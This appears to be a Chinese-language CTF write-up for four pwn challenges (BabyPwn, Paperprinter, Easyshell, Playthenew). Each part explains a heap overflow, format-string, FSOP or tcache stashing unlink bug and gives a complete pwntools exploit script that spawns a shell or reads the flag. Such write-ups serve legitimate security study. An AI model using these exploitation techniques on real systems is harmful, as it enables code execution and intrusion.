题目链接 
BabyPwn 分析 首先我们看一下程序,程序提供了三种操作add, throw_out,show,操作的结构是member,describe是依据用户输入的大小所分配的堆空间,但是输入的大小最大是0x40,即堆块最大为0x50
漏洞函数位于add中读取字符串的函数
注意到length的类型为int,因此存在堆溢出漏洞。
利用 有两种利用的方式
方式1 整体思路为通过unsorted bin泄露libc地址,FSOP进行getshell
释放两个相同大小的chunk,申请chunk的时候将size设置为1,这样就不会读取内容,从而泄露出堆地址 
通过堆溢出伪造chunk,大小为连续申请的几个chunk和,使其释放时进入unsorted bin中,从而获取libc基址 
堆溢出覆写unsorted bin的fd,bk指针,伪造IO_FILE,采用FSOP进行getshell 
 
首先泄露heap的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 add_member("12112" , 0x10 , "0" ) add_member("12112" , 0x10 , "1" ) add_member("12112" , 0x40 , "2" ) add_member("12112" , 0x40 , "3" ) add_member("12112" , 0x40 , "4" ) add_member("12112" , 0x40 , "5" ) throw_out(1 ) throw_out(0 ) add_member("1212" , 0x1 , "a" )  show_member(0 ) p.recvuntil("Description:" ) heap_address = u64(p.recvline().strip("\n" ).ljust(8 , "\x00" )) print  "heap address" , hex (heap_address)
释放完第1,0个chunk的时候,堆的地址就写到了index=0的堆块中,此时打印第0块就可以得到heap address。
1 2 3 4 5 6 7 add_member("1212" , 0x0 , p64(0 )*3  + p64(0xf1 ))  throw_out(2 ) add_member("1212" , 0x40 , "12" ) show_member(3 ) p.recvuntil("Description:" ) libc.address = u64(p.recvline().strip().ljust(8 , "\x00" )) - 88  - 0x10  - libc.symbols['__malloc_hook' ] print  "libc address" , hex (libc.address)
接着是伪造unsorted bin chunk。我们将chunk的大小设置为0xf1即连续申请的三个0x40的堆块的大小之和,此时不用伪造上下两个chunk。释放之后重新申请一个大小为0x50的堆块,index=3的member恰好就指向了main_arena+88的存储位置,获得lib address。
1 2 3 4 5 6 7 8 9 10 11 12 13 throw_out(1 ) vtable = p64(0 )*3  + p64(libc.symbols['system' ]) vtable_address = heap_address + 0x20  + 0x50  + 0xe0  payload = p64(0 )*3  + p64(0x51 ) + p64(0 )*8  payload += "/bin/sh\x00"  + p64(0x61 ) + p64(0 ) + p64(libc.symbols['_IO_list_all' ] - 0x10 ) + p64(2 ) + p64(3 ) payload += p64(0 )*21  + p64(vtable_address) payload += vtable add_member("1212" , 0x0 , payload) p.sendlineafter("your choice:" , "1" ) p.sendlineafter("name:" , name) p.sendlineafter("size:" , str (1 )) p.interactive() 
FSOP的利用可以参考pwnable.tw的bookwrite 。这里简单介绍一下就是,由于我们修改了unsorted bin的bk指针,导致程序认为unsorted bin的堆块大于1个,此时若申请的大小与unsorted bin大小不同,就会将当前处理的unsorted bin的堆块放入small bin中。并进行类似于unlink的操作bck->fd = unsorted_chunks (av);,就会在我们制定的位置+0x10字节处写入main_arena+88的地址。如果我们将bk指针写为_IO_list_all-0x10的地址,就能覆写IO_list_all指针为main_arena+88。
由于我们改写的bk指针不合法,因此会打印错误信息,此时会对每个FILE结构体进行fflush操作,调用_IO_overflow函数。FILE结构体的依次处理主要依靠的是_chain指针,当我们将IO_list_all指针为main_arena+88,其_chain成员变量位于main_arena+184位置即smallbin[5],chunk大小为0x61。如果我们将unsorted bin的大小设置为0x61,那么_chain将指向我们可控的堆块(unsorted bin)。
在堆块中伪造IO_FILE和vtable,将IO_overflow指针伪造为system地址,将IO_FILE头部写入/bin/sh\x00即可以调用system('/bin/sh')。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from  pwn import  *context.log_level = "debug"  elf = ELF("./pwn" ) debug = 1  if  debug:    p = process(['./pwn' ])     gdb.attach(p, "b *0x555555555090\n" )     libc = ELF('/home/pwn/Desktop/windowsDisk/glibc/x64/glibc-2.23/lib/libc.so.6' )     one_gadget = 0x0  else :    p = remote('127.0.0.1' , 10005 )     libc = ELF('./libc.so' )     one_gadget = 0x0  def  add_member (name, des_size, des ):    p.sendlineafter("your choice:" , "1" )     p.sendlineafter("name:" , name)     p.sendlineafter("size:" , str (des_size))     p.sendlineafter("Description:" , des) def  show_member (index ):    p.sendlineafter("your choice:" , "3" )     p.sendlineafter("index:" , str (index)) def  throw_out (index ):    p.sendlineafter("your choice:" , "2" )     p.sendlineafter("index:" , str (index)) def  member_exit ():    p.sendlineafter("your choice:" , "4" ) add_member("12112" , 0x10 , "0" ) add_member("12112" , 0x10 , "1" ) add_member("12112" , 0x40 , "2" ) add_member("12112" , 0x40 , "3" ) add_member("12112" , 0x40 , "4" ) add_member("12112" , 0x40 , "5" ) throw_out(1 ) throw_out(0 ) add_member("1212" , 0x1 , "a" )  show_member(0 ) p.recvuntil("Description:" ) heap_address = u64(p.recvline().strip("\n" ).ljust(8 , "\x00" )) print  "heap address" , hex (heap_address)add_member("1212" , 0x0 , p64(0 )*3  + p64(0xf1 ))  throw_out(2 ) add_member("1212" , 0x40 , "12" ) show_member(3 ) p.recvuntil("Description:" ) libc.address = u64(p.recvline().strip().ljust(8 , "\x00" )) - 88  - 0x10  - libc.symbols['__malloc_hook' ] print  "libc address" , hex (libc.address)throw_out(1 ) vtable = p64(0 )*3  + p64(libc.symbols['system' ]) vtable_address = heap_address + 0x20  + 0x50  + 0xe0  payload = p64(0 )*3  + p64(0x51 ) + p64(0 )*8  payload += "/bin/sh\x00"  + p64(0x61 ) + p64(0 ) + p64(libc.symbols['_IO_list_all' ] - 0x10 ) + p64(2 ) + p64(3 ) payload += p64(0 )*21  + p64(vtable_address) payload += vtable add_member("1212" , 0x0 , payload) p.sendlineafter("your choice:" , "1" ) p.sendlineafter("name:" , name) p.sendlineafter("size:" , str (1 )) p.interactive() 
方式2 这种方法在这个比赛中不能使用
伪造unsorted bin泄露libc基址,通方式1相同,在伪造unsorted bin的时候会构造出堆重叠
double free进行fastbin attack。但是这里最大分配的chunk为0x50。由于程序开启了随机化,因此堆地址的开始为0x55或0x56,因此我们转换一下,将chunk分配在main_arena+37位置处(main_arena+40处存储fastbin[4]起始,即大小为0x60的堆块的地址)。参考HSCTF2019 heard_heap 
这里需要注意的是由于我们需要覆写之后的top chunk地址,而且有0x40大小可写区域的限制,因此只能选择main_arena+40处进行分配,因此我们需要再次释放一个大小为0x60的堆块。
在分配之后我们需要绕过一些检查
1 2 assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||        ar_ptr == arena_for_chunk (mem2chunk (victim))); 
因此我们需要等待堆地址为0x56起始时才可以成功分配
 
分配完成之后,覆写之后位于main_arena+88处的top chunk地址。将top chunk地址覆写为malloc_hook-0x23处的地址,这样就可以分配到malloc_hook的堆块了。覆写one_gadget。
在one_gadget都无法使用的时候可以考虑将malloc_hook的地址填写为realloc+n的地址,进行平衡栈帧,构造one_gadget生效的条件,realloc_hook位置(main_arena-0x18)填写gadget地址。
 
 
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 from  pwn import  *context.log_level = "debug"  elf = ELF("./pwn" ) debug = 1  if  debug:    p = process(['./pwn' ])     gdb.attach(p, "b *0x555555555090\n" )     libc = ELF('/home/pwn/Desktop/windowsDisk/glibc/x64/glibc-2.23/lib/libc.so.6' )     one_gadget = 0xcb7e5  else :    p = remote('' , 0 )     libc = ELF('./libc.so' )     one_gadget = 0x0  def  add_member (name, des_size, des ):    p.sendlineafter("your choice:" , "1" )     p.sendlineafter("name:" , name)     p.sendlineafter("size:" , str (des_size))     p.sendlineafter("Description:" , des) def  show_member (index ):    p.sendlineafter("your choice:" , "3" )     p.sendlineafter("index:" , str (index)) def  throw_out (index ):    p.sendlineafter("your choice:" , "2" )     p.sendlineafter("index:" , str (index)) def  member_exit ():    p.sendlineafter("your choice:" , "4" ) def  exp ():    add_member("12112" , 0x10 , "0" )     add_member("12112" , 0x10 , "1" )     add_member("12112" , 0x40 , "2" )     add_member("12112" , 0x40 , "3" )     add_member("12112" , 0x40 , "4" )     throw_out(1 )     add_member("12112" , 0x0 , p64(0 )*3  + p64(0xa1 ))      throw_out(2 )     add_member("12112" , 0x40 , "a" *0x8 )      show_member(3 )     p.recvuntil("Description:" )          libc.address = u64(p.readline().strip("\n" ).ljust(8 ,"\x00" )) - 88  - 0x10  - libc.symbols['__malloc_hook' ]          malloc_hook_address = libc.symbols['__malloc_hook' ]     main_arean_address = malloc_hook_address + 0x10      print  "libc address" , hex (libc.address)     add_member("1212" , 0x40 , "1" )      throw_out(1 )     add_member("12112" , 0x0 , p64(0 )*3  + p64(0x61 ) + p64(0 )*8  + p64(0 ) + p64(0x51 ) + p64(0 ) + p64(41 ))      throw_out(2 )           throw_out(3 )     throw_out(4 )     throw_out(5 )          fake_chunk_address = main_arean_address - 0x13  + 0x38      add_member("12112" , 0x40 , p64(fake_chunk_address))      add_member("12112" , 0x40 , "4" *0x8 )      add_member("12112" , 0x40 , p64(fake_chunk_address))      add_member("12112" , 0x40 , "8" *3  + p64(0 )*4  + p64(malloc_hook_address - 0x23 ))      throw_out(0 )     add_member("1212" , 0x40 , "a" *3  + p64(0 )*2  + p64(one_gadget + libc.address))       while  True :    try :         exp()         break      except :         p.close()         p = process(['./pwn' ]) throw_out(2 ) throw_out(4 ) ''' p.sendlineafter("your choice:", "1") p.sendlineafter("name:", "2") p.sendlineafter("size:", str(0x20)) ''' p.interactive() 
Paperprinter 分析 首先我们看一下程序,该题目与*ctf heap_master 有些类似,都是先mmap一块0x1000大小的内存,然后可以对该内存区域进行编辑和释放add,delete。在该题目中共存在两次malloc,一次是print中的malloc(0x138),另一次是exit中的strdup。这与heap_master中的任意malloc不同。
程序在一开始给输出了sleep的一个地址,根据此地址我们可以推算出libc address的后5个值,倒数第六个地址只能靠碰撞了(因为_IO_list_all的偏移地址为6位数)。
这样我们就相当于得到了libc的地址。而目前我们可以任意释放内存。通过unsorted bin attack覆盖_IO_list_all地址为main_arean+88,之后释放大小为0x60大小的堆块,使得_chain指向该堆块。在0x60大小的堆块中布局fake_FILE结构体。vtable的地址可以通过堆块的bk指针来进行伪造。
利用 
根据输出的sleep的部分地址推算出libc地址的后6位。
将mmap的内存地址改写为0x90(chunk1)-0x30-0x90(chunk2)-0x30-0x90(chunk3)-0x30-0x140(chunk4)-0x30-0x30的堆内存布局
依次释放chunk2,chunk3,chunk4,此时形成的unsorted bin链表如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 0x602ab0c0:	0x0000000000000000	0x0000000000000091 << chunk2 freed 0x602ab0d0:	0x00007ffff7dd5b78	0x00000000602ab180 << chunk2_bk = chunk3 ... 0x602ab150:	0x0000000000000090	0x0000000000000030 << padding chunk 0x602ab160:	0x0000000000000000	0x0000000000000000 0x602ab170:	0x0000000000000000	0x0000000000000000 0x602ab180:	0x0000000000000000	0x0000000000000091 << chunk3 freed 0x602ab190:	0x00000000602ab0c0	0x00000000602ab240 << chunk3_bk = chunk4 ... 0x602ab210:	0x0000000000000090	0x0000000000000030 << padding chunk 0x602ab220:	0x0000000000000000	0x0000000000000000 0x602ab230:	0x0000000000000000	0x0000000000000000 0x602ab240:	0x0000000000000000	0x0000000000000141 << chunk4 freed 0x602ab250:	0x00000000602ab180	0x00007ffff7dd5b78 << main_arena+88 ... 0x602ab380:	0x0000000000000140	0x0000000000000030 << padding chunk 0x602ab390:	0x0000000000000000	0x0000000000000000 0x602ab3a0:	0x0000000000000000	0x0000000000000000 0x602ab3b0:	0x0000000000000000	0x0000000000000031 
为了之后能够调用strdup,这里我们需要malloc(0x138)即申请0x140大小的堆块,此时chunk4被申请。而chunk2,chunk3被移入small bin数组中。chunk2的fd指针和chunk3的bk指针指向main_arean+216即small_bin[7]的位置。
覆写chunk3的bk指针的后3个字节为system地址,那么chunk3即为伪造的vtable。而chunk2的bk指针指向chunk3,即mmap_address+0xd8的位置指向vtable。我们即在chunk1中伪造IO_FILE
将chunk1构造为如下
1 2 3 4 5 6 7 8 9 10 0x602ab000:	0x0068732f6e69622f	0x0000000000000061 << smallbin[0x60] 0x602ab010:	0x0000000000000000	0x00007ffff7dd6510 << IO_list_all-0x10 0x602ab020:	0x0000000000000002	0x0000000000000003 0x602ab030:	0x0000000000000000	0x0000000000000000 0x602ab040:	0x0000000000000000	0x0000000000000000 0x602ab050:	0x0000000000000000	0x0000000000000000 0x602ab060:	0x0000000000000000	0x0000000000000000 0x602ab070:	0x0000000000000000	0x0000000000000000 0x602ab080:	0x0000000000000000	0x0000000000000000 0x602ab090:	0x0000000000000090	0x0000000000000030 
在调用strdup函数的时候会将chunk1放入到small bin数组中。发生unsorted bin attack。_IO_list_all被改写为main_arena+88的地址。
而_chain对应的main_arena+184的位置即为smallbin[4]=0x60的位置,而此时chunk1被放入smallbin[4]中,即_chain指向了chunk1。后malloc由于我们改写的bk指针而出错,即刷新所有的FILE结构体。从而调用vtable-_IO_overflow即system。
 
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from  pwn import  *context.log_level = "debug"  elf = ELF("./pwn" ) debug = 1  if  debug:    p = process(['./pwn' ])     gdb.attach(p, "b *0x555555554E84\n" )     libc = ELF('/home/pwn/Desktop/windowsDisk/glibc/x64/glibc-2.23/lib/libc.so.6' )     one_gadget = 0x0  else :    p = remote('' , 0 )     libc = ELF('' )     one_gadget = 0x0  def  edit (offset, content ):    p.sendlineafter("choice:" , "1" )     p.sendlineafter("offset :" , str (offset))     p.sendlineafter("length :" , str (len (content)))     p.sendafter("content :" , content) def  delete (offset ):    p.sendlineafter("choice:" , "2" )     p.sendlineafter("offset :" , str (offset)) def  printpaper ():    p.sendlineafter("choice:" , "3" ) def  exitpaper ():    p.sendlineafter("choice:" , "4" ) def  exp ():    p.recvuntil("0x" )     libc_base = int (p.recvline().strip("\n" ), 16 )     libc_base -= (libc.sym['sleep' ] >> 8 )     libc_base = (libc_base<<8 )+0xa00000      system_address = libc_base + libc.sym['system' ]     io_list_all_address = libc_base + libc.sym['_IO_list_all' ]     print  "libc base address" , hex (libc_base)     print  "system address" , hex (system_address)     print  "io_list_all address" , hex (io_list_all_address)     offset = 0      edit(offset, p64(0 )+p64(0x91 ))      edit(offset+0x90 , p64(0 )+p64(0x31 ))      edit(offset+0x90 +0x30 ,p64(0 ) + p64(0x91 ))     edit(offset+0x90 +0x30 +0x90 , p64(0 )+p64(0x31 ))      edit(offset+0x90 +0x30 +0x90 +0x30 , p64(0 )+p64(0x91 ))      edit(offset+0x90 +0x30 +0x90 +0x30 +0x90 , p64(0 )+p64(0x31 ))      edit(offset+0x90 +0x30 +0x90 +0x30 +0x90 +0x30 , p64(0 )+p64(0x141 ))      edit(offset+0x90 +0x30 +0x90 +0x30 +0x90 +0x30 +0x140 , p64(0 )+p64(0x31 ))      edit(offset+0x90 +0x30 +0x90 +0x30 +0x90 +0x30 +0x140 +0x30 , p64(0 )+p64(0x31 ))      delete(offset+0x90 +0x30 +0x10 )      delete(offset+0x90 +0x30 +0x90 +0x30 +0x10 )     delete(offset+0x90 +0x30 +0x90 +0x30 +0x90 +0x30 +0x10 )     printpaper()      edit(offset+0x90 +0x30 +0x90 +0x30 +0x18 , p64(system_address)[:3 ])     edit(offset+0x90 +0x30 +0x90 +0x30 , p64(0 )*3 )     delete(offset+0x10 )     edit(offset+0x20 , p64(2 )+p64(3 ))     edit(offset+0x18 , p64(io_list_all_address-0x10 )[:3 ])     edit(offset, "/bin/sh\x00" +p64(0x61 )+p64(0 ))     exitpaper() while  True :    try :         exp()         p.interactive()         p.close()     except :         p.close()     if  debug:         p = process(['./pwn' ])         gdb.attach(p, "b *0x555555554E84\n" )         libc = ELF('/home/pwn/Desktop/windowsDisk/glibc/x64/glibc-2.23/lib/libc.so.6' )         one_gadget = 0x0      else :         p = remote('' , 0 )         libc = ELF('' )         one_gadget = 0x0  
Easyshell 分析 首先我们运行一下程序,程序采用静态编译,实现了一个返回用户输入的功能。这里存在格式化字符串漏洞。
由于函数是静态编译的,因此在函数执行_exit调用__run_exit_handlers函数,遍历fini.array数组的时候,rbp会被改写为__exit_funcs的地址。
我们可以利用格式化字符串漏洞,改写fini.array数组为[init, main(leave,ret)]的指令,那么在程序退出的时候回首先执行fini.array[2],此时已经发生了栈迁移,我们即可进行ROP
这里需要注意的是每次gets只能读取0xc0大小的空间。因此我们需要两次重新读取数据。而且会遇到\n截断,pop rdi需要用另一个gadget。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from  pwn import  *context.log_level = "debug"  context.arch = "amd64"  elf = ELF("./pwn" ) debug = 1  if  debug:    p = process(['./pwn' ])     gdb.attach(p, "b *0x400dde\n" ) else :    p = remote('' , 0 ) rbp = 0x6ed0c0  fini_array_address = 0x00000000006d6828  init_address = 0x40aba0  main_leave_ret = 0x400dfc  p_rdi_r = 0x401f0a  p_rdi_rbp_r = 0x40b74a  p_rsi_r = 0x4014a4  p_rdx_rsi_r = 0x44c499  p_rcx_r = 0x42142b  p_rax_rdx_rbx_r = 0x482286  gets_address = 0x400DC0  syscall = 0x471115  payload = "%{}c%23$hn" .format (str (init_address & 0xffff )) payload += "%{}c%24$hn" .format (str (0xffff  & ((main_leave_ret & 0xffff ) - (init_address & 0xffff )))) payload += "%{}c%25$hn" .format (str (0xffff  & ((p_rdi_r & 0xffff ) - (main_leave_ret & 0xffff )))) payload += "%{}c%26$hn" .format (str (0xffff  & (((p_rdi_r >> 16 ) & 0xffff ) - (p_rdi_r & 0xffff )))) payload += "%{}c%27$hn" .format (str (0xffff  & (((rbp + 0x10 ) & 0xffff ) - ((p_rdi_r >> 16 ) & 0xffff )))) payload += "%{}c%28$hn" .format (str (0xffff  & ((((rbp + 0x10 ) >> 16 ) & 0xffff ) - ((rbp + 0x10 ) & 0xffff )))) payload += "%{}c%29$hn" .format (str (0xffff  & ((gets_address & 0xffff ) - ((rbp + 0x10 ) >> 16 ) & 0xffff ))) payload += "%{}c%30$hn" .format (str (0xffff  & (((gets_address >> 16 ) & 0xffff ) - (gets_address & 0xffff )))) payload = payload.ljust(0x70 , "a" ) payload += 'b' *8  payload += p64(fini_array_address) + p64(fini_array_address + 8 ) payload += p64(rbp+8 ) + p64(rbp+8 +2 ) + p64(rbp+0x10 ) + p64(rbp + 0x10  + 2 ) + p64(rbp + 0x18 ) + p64(rbp + 0x18  + 2 ) p.recvuntil("echo back.\n" ) p.sendline(payload) flag_address = rbp + 0x10  flag_read_address = 0x6ef910  rop2_rbp = 0x6ed178  or_rop = flat([     p_rdi_rbp_r, flag_address, 0 ,     p_rsi_r, 0x0 ,     p_rax_rdx_rbx_r, 2 , 0 , 0 ,     syscall,      p_rdi_rbp_r, 0 , 0 ,     p_rsi_r, rop2_rbp,     p_rax_rdx_rbx_r, 0 , 0x100 , 0 ,     syscall  ]) p.recvuntil("b" *8 ) p.sendline("./flag\x00\x00"  + or_rop) rw_rop = flat([     p_rdi_rbp_r, 3 , 0 ,     p_rsi_r, flag_read_address,     p_rax_rdx_rbx_r, 0 , 0x100 , 0 ,     syscall,       p_rdi_rbp_r, 1 , 0 ,     p_rsi_r, flag_read_address,     p_rax_rdx_rbx_r, 1 , 0x100 , 0 ,     syscall  ]) p.sendline(rw_rop) p.interactive() 
Playthenew 分析 首先看一下程序,保护全开,libc版本是2.30。
程序首先在0x100000地址处mmap了一块大小为0x1000的内存。
程序提供了6中操作。(plt表错误,可以用cutter识别)
buy函数中使用calloc分配限定大小范围内的堆块。分配次数无限制但是只能存储5个堆块指针,保存在全局变量中0x5080中。throw函数释放堆块,但是没有将堆块指针置为空,存在UAF。show_dance则是输出函数。change改变堆块中存储的内容。若0x10000存储的内容不为0x42,则input_secret用来向0x100008地址处写入用户输入的数据,而call_global则调用0x100010处保存的函数指针,以0x100018处为参数。
由于libc版本为2.30存在tcache,而calloc分配是不经过tcache的,因此无法直接对tcache进行攻击。这里是用到的是tcache small bin attack(tcache stashing unlink attack)。即当请求的大小位于small bin范围中时,若相应大小的tcache未满,则将剩余的small bin放入到tcache中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 if  (in_smallbin_range (nb)){   idx = smallbin_index (nb);   bin = bin_at (av, idx);   if  ((victim = last (bin)) != bin)     {       bck = victim->bk;   if  (__glibc_unlikely (bck->fd != victim))     malloc_printerr ("malloc(): smallbin double linked list corrupted" );       set_inuse_bit_at_offset (victim, nb);       bin->bk = bck;       bck->fd = bin;       if  (av != &main_arena)     set_non_main_arena (victim);       check_malloced_chunk (av, victim, nb); #if  USE_TCACHE      size_t  tc_idx = csize2tidx (nb);   if  (tcache && tc_idx < mp_.tcache_bins)     {       mchunkptr tc_victim;              while  (tcache->counts[tc_idx] < mp_.tcache_count          && (tc_victim = last (bin)) != bin)     {       if  (tc_victim != 0 )         {           bck = tc_victim->bk;           set_inuse_bit_at_offset (tc_victim, nb);           if  (av != &main_arena)         set_non_main_arena (tc_victim);           bin->bk = bck;           bck->fd = bin;           tcache_put (tc_victim, tc_idx);             }     }     } #endif        void  *p = chunk2mem (victim);       alloc_perturb (p, bytes);       return  p;     } } 
tcache堆块的放入操作从small bin链表的尾部开始。因此如果我们修改了small bin表头指向的堆块的bk指针,就可以向*(bk+0x10)的地址处写入一个main_arean附近的地址。
这里我们可以将tcache提前填充到6,这样放入一块堆块之后就不会再放入了,也就解决了地址错误的导致的崩溃问题。
利用 
首先将大小为0x160的tcache填满,大小为0xa0的tcache剩余一个位置。
此时申请0x160大小的堆块,再次释放则会进入small bin。由于我们需要两个small bin堆块。因此执行下列操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 buy(0 , 0x150 , "0" ) buy(1 , 0x150 , "0" ) buy(2 , 0x150 , "0" ) buy(3 , 0x150 , "0" ) throw_bas(0 )  show(0 )  p.recvuntil("the dance:" ) libc.address = u64(p.recvline().strip(b'\n' ).ljust(8 , b'\x00' )) - 96  - (libc.sym['__malloc_hook' ] + 0x10 ) log.success("libc address: {}" .format (hex (libc.address))) buy(1 , 0xb0 , "0" )  throw_bas(2 )   show(2 ) p.recvuntil("the dance:" ) heap_address = u64(p.recvline().strip(b"\n" ).ljust(8 , b"\x00" )) log.success("heap address: {}" .format (hex (heap_address))) buy(1 , 0xb0 , "0" )  buy(1 , 0xb0 , "0" )  change(2 , p64(0 )*int (0xb0 /0x8 ) + p64(0 ) + p64(0xa1 ) + p64(heap_address) + p64(0x100000 -0x10 )) buy(1 , 0x90 , "0" ) 
这样我们就将可以调用input_secret和call_global函数实现任意代码执行了。
这里采用的是调用puts函数利用environ变量泄露栈地址,修改puts执行完毕之后的返回地址,利用gadget调用mprotect函数关闭0x100000地址的不可执行保护,劫持函数栈到0x100000实现orw的调用。
也可以使用mov rbp, qword ptr [rdi + 0x48]; mov rax, qword ptr [rbp + 0x18]; lea r13, [rbp + 0x10]; mov dword ptr [rbp + 0x10], 0; mov rdi, r13; call qword ptr [rax + 0x28];此类的通过rdi 控制rbp,并实现call调用的gadget。将call调用设置为leave,ret实现栈迁移,调用orw,gadget链。
 
 
EXP python3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 from  pwn import  *file_path = "./pwn"  context.arch = "amd64"  context.log_level = "debug"  elf = ELF(file_path) debug = 1  if  debug:    p = process([file_path])     gdb.attach(p, "b *0x55555555591D\n" )     libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.30/lib/libc.so.6' )     one_gadget = 0x0  else :    p = remote('' , 0 )     libc = ELF('' )     one_gadget = 0x0  def  buy (index, size, content ):    p.sendlineafter("> " , "1" )     p.sendlineafter("index:" , str (index))     p.sendlineafter("size of basketball:" , str (size))     p.sendafter("name:" , content) def  throw_bas (index ):    p.sendlineafter("> " , "2" )     p.sendlineafter("idx of basketball:" , str (index)) def  show (index ):    p.sendlineafter("> " , "3" )     p.sendlineafter("idx of basketball:" , str (index)) def  change (index, content ):    p.sendlineafter("> " , "4" )     p.sendlineafter("idx of basketball:" , str (index))     p.sendafter("dance of the basketball:" , content) def  input_secret (secret ):    p.sendlineafter("> " , "5" )     p.sendafter("Input the secret place:" , secret) def  call_global ():    p.sendlineafter("> " , str (0x666 )) for  i in  range (6 ):    buy(0 , 0x90 , "0" )     throw_bas(0 ) for  i in  range (7 ):    buy(0 , 0x150 , "0" )     throw_bas(0 ) log.success("filled tcache" ) buy(0 , 0x150 , "0" ) buy(1 , 0x150 , "0" ) buy(2 , 0x150 , "0" ) buy(3 , 0x150 , "0" ) throw_bas(0 )  show(0 ) p.recvuntil("the dance:" ) libc.address = u64(p.recvline().strip(b'\n' ).ljust(8 , b'\x00' )) - 96  - (libc.sym['__malloc_hook' ] + 0x10 ) log.success("libc address: {}" .format (hex (libc.address))) buy(1 , 0xb0 , "0" )  throw_bas(2 )   show(2 ) p.recvuntil("the dance:" ) heap_address = u64(p.recvline().strip(b"\n" ).ljust(8 , b"\x00" )) log.success("heap address: {}" .format (hex (heap_address))) buy(1 , 0xb0 , "0" )  buy(1 , 0xb0 , "0" ) change(2 , p64(0 )*int (0xb0 /0x8 ) + p64(0 ) + p64(0xa1 ) + p64(heap_address) + p64(0x100000 -0x10 )) buy(1 , 0x90 , "0" ) input_secret(p64(0 ) + p64(libc.sym['puts' ]) + p64(libc.sym['environ' ])) call_global() stack_address = u64(p.recvline().strip(b"\n" ).ljust(8 , b"\x00" )) - (0x7fffffffdf38  - 0x7fffffffde28 ) log.success("stack address: {}" .format (hex (stack_address))) orw = shellcraft.open ("./flag" ) orw += shellcraft.read("rax" , "rsp" , 0x100 ) orw += shellcraft.write(1 , "rsp" , 0x100 ) payload1 = p64(0 ) + p64(libc.sym['gets' ]) + p64(stack_address) + p64(0x100000  + 0x28 ) + asm(orw) input_secret(payload1) call_global() p_rdx_r12_r = libc.address + 0xf7fb1  p_rdi_r = libc.address + 0x267e2  p_rsi_r = libc.address + 0x26d07  p_rsp_r = libc.address + 0x26f8b  mprotect_address = libc.sym['mprotect' ] payload2 = flat([     p_rdi_r, 0x100000 ,     p_rsi_r, 0x1000 ,     p_rdx_r12_r, 7 , 0 ,     mprotect_address,     p_rsp_r, 0x100000 +0x20  ]) raw_input() p.sendline(payload2) p.interactive()